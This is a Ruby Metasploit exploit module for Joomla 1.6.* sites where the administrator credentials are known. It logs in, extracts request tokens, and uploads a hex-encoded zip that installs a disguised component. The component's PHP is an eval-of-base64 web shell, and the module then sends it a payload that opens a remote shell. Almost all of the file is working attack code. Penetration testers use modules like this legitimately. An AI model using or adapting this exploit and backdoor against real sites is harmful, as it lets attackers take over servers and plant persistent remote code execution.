# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Exploit::Remote

	# Includes
	include Msf::Exploit::Remote::HttpClient

	# Initialize module
	def initialize(info = {})
	
		# Initialize information
		super(update_info(info,
			'Name'           => 'Joomla 1.6.* Administrator PHP Code Execution',
			'Description'    => %q{
			This module can be used to gain a remote shell to a Joomla! 1.6.* install when
			administrator credentials are known. This is acheived by uploading a malicious
			component which is used to execute the selected payload.
			},
			'Author'         => 
				[ 
					'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
				],
			'License'        =>  MSF_LICENSE,
			'Privileged'     =>  false,
			'Platform'       => 'php',
			'Arch'           =>  ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget'  => 0 ))

			register_options(
				[
					# Required
					OptString.new('JDIR', [true, 'Joomla directory', '/']),
					OptString.new('JUSR', [true, 'Joomla admin username', nil]),
					OptString.new('JPWD', [true, 'Joomla admin password', nil]),

					# Optional
					OptBool.new(  'DBUG', [false, 'Verbose output? (Debug)' ,  nil ]),
					OptString.new('AGNT', [false, 'User Agent Info'         , 'Mozilla/5.0' ]),
				], self.class)
	end
	#################################################
	
	# Extract "Set-Cookie"
	def init_cookie(data, cstr = true)
	
		# Raw request? Or cookie data specifically?
		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

		# Beginning
		if ( data )
			
			# Break them apart
			data = data.split(', ')
			
			# Initialize
			ctmp = ''
			tmps = {}
			
			# Parse cookies
			data.each do | x |
			
				# Remove extra data
				x = x.split(';')[0]
			
				# Seperate cookie pairs
				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
				
					# Key
					k = $1
					
					# Val
					v = $2
				
					# Valid cookie value?
					if ( v.length() > 0 )
					
						# Build cookie hash
						tmps[k] = v
						
						# Report cookie status
						print_status("Got Cookie: #{k} => #{v}");
					end
				end
			end
			
			# Build string data
			if ( cstr == true )
				
				# Loop
				tmps.each do |x,y| 
				
					# Cookie key/value
					ctmp << "#{x}=#{y};" 
				end
				
				# Assign
				tmps['cstr'] = ctmp
			end
			
			# Return
			return tmps
		else
			# Something may be wrong
			init_debug("No cookies within the given response")
		end
	end
	
    #################################################
	
	# Simple debugging output
	def init_debug(resp, exit = 0)
	
		# is DBUG set? Check it
		if ( datastore['DBUG'] )
		
			# Print debugging data
			print_status("######### DEBUG! ########")
			pp resp
			print_status("#########################")
		end
		
		# Continue execution
		if ( exit.to_i > 0 )
		
			# Exit
			exit(0)
		end
		
	end
	
	#################################################
	
	# Generic post wrapper
	def http_post(url, data, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "application/x-www-form-urlencoded"
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout	)
				
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic post multipart wrapper	
	def http_post_multipart(url, data, headers = {}, timeout = 15)
		
		# Boundary string
		bndr =  Rex::Text.rand_text_alphanumeric(8)
		
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Init
		temp = ''
		
		# Parse form values
		data.each do |name, value|
		
			# Hash means file data
			if ( value.is_a?(Hash) )

				# Validate form fields
				filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
				contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
				mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
				encoding = value['encoding'] ? value['encoding']: "Binary"

				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
				temp << "Content-Type: #{mimetype}\r\n"
				temp << "Content-Transfer-Encoding: #{encoding}\r\n"
				temp << "\r\n"
				temp << "#{contents}\r\n"
				
			else
				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
				temp << "\r\n"
				temp << "#{value}\r\n"
			end
		end
		
		# Complete the form data
		temp << "--#{bndr}--\r\n"
		
		# Assigned
		data = temp	
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout)
		
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic get wrapper
	def http_get(url, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']

		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value // Also, remove post specific data, due to a bug ...
			if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Send request
		resp = send_request_raw({
			'uri'     => datastore['JDIR'] + url,
			'headers' => headers,
			'method'  => 'GET',
		}, timeout)
		
		# Returned
		return resp
		
	end
	#################################################	
	
	def check
	
		# Banner grab request
		resp = http_get("index.php")

		# Extract Joomla version information
		if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

			# Version
			vers = $1.strip 

			# Version "parts"
			ver1, ver2, ver3 = vers.split(/\./)

			# Only if 1.6.0 aka 1.6
			if ( ver2.to_i != 6 )

				# Safe
				print_error("Only compatible with the Joomla 1.6 branch")
				return Exploit::CheckCode::Safe
			else

				# Vulnerable
				return Exploit::CheckCode::Vulnerable
			end
		else
		
			# Verbose
			print_error("Unable to determine Joomla version ...")
			return Exploit::CheckCode::Safe
		end
	end
	
	#################################################
	
	def exploit

		# Numeric test string
		tstr = Time.now.to_i.to_s

		# MD5 test string
		tmd5 = Rex::Text.md5(tstr)

		# Encoded payload
		load = payload.encoded
		
		# Credentials
		user = datastore['JUSR']
		pass = datastore['JPWD']
					
		# Verbose				
		print_status("Attempting to extract a valid request token")
		
		# Request a valid token
		resp = http_get("administrator/index.php")
		
		# Extract token
		if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
		
			# Token
			rtok = $1
			
			# Verbose
			print_status("Got token: #{rtok}")
		else
		
			# Failure
			print_error("Unable to extract request token. Exploit failed!")
			init_debug(resp)
			return
		end
		
		# Init cookie
		cook = init_cookie(resp)
		
		# Build headers for authenticated session
		hdrs = { "Cookie" => cook['cstr'] }
		
		# Verbose
		print_status("Attempting to login as: #{user}")				
		
		# Post data for login request
		post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"
		
		# Login request
		resp = http_post("administrator/index.php", post, hdrs)
		
		# Authentication successful???
		if ( resp && resp.code == 303 )
		
			# Success
			print_status("Successfully logged in as: #{user}")			
		else
		
			# Failure
			print_error("Unable to authenticate. Exploit failed!")
			init_debug(resp)
			return
		end		
			
		# Verbose				
		print_status("Attempting to extract refreshed request token")
		
		# Request a valid token (again)
		resp =  http_get("administrator/index.php?option=com_installer", hdrs)		
		
		# Extract token
		if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
		
			# Token
			rtok = $1
			
			# Verbose
			print_status("Got token: #{rtok}")
		else
		
			# Failure
			print_error("Unable to extract request token. Exploit failed!")
			init_debug(resp.body)
			return
		end
		
		# Component specific data
		cstr = "joomla"
		czip = "com_#{cstr}.zip"
		curi = "components/com_#{cstr}/#{cstr}.php"				

		#################################################
		# Our Joomla specific PHP payload wrapper that is
		# used to have more flexibility when delivering a
		# selected payload to a target. The wrapper is in 
		# the Joomla! 1.6 compononent format and can also 
		# be used with other Joomla exploits.
		#################################################
		#
		# Type: Joomla 1.6 Component
		# File: com_joomla/joomla.xml <-- installer file
		#       com_joomla/joomla.php <-- component file
		#
		# Data: <?php
		#       # Modify settings
		#       error_reporting(0);
		#       ini_set('max_execution_time', 0);
		#
		#       # Execute the selected payload, and delete the wrapper
		#       @eval(base64_decode(file_get_contents('php://input')));
		# ?>
		#################################################
		
		# Hex encoded component zip data
		wrap  = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
		wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
		wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
		wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
		wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
		wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
		wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
		wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
		wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
		wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
		wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
		wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
		wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
		wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
		wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
		wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
		wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
		wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
		wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
		wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
		wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
		wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
		wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
		wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
		wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
		wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
		wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
		wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
		wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
		wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
		wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
		wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
		wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
		wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
		wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
		wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
		wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
		wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
		wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
		wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
		wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
		wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
		wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
		wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
		wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
		wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
		wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
		wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
		wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"

		# Verbose
		print_status("Attempting to upload payload wrapper component")
		
		# Post data
		data = {
		
			# Component data
			'install_package' => 
			{ 
				'filename' =>  czip,
				'contents' =>  wrap,
				'mimetype' => 'application/zip',
				'encoding' => 'binary',
			},
			
			# Required install params
			"installtype"  => "upload",
			"task"         => "install.install",
			"#{rtok}"      => "1",
		}
		
		# Upload the wrapper component
		init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))

		# Deliver the selected payload to the target
		init_debug(http_post(curi, Rex::Text.encode_base64(load)))
		
		# Shell
		handler
	end
end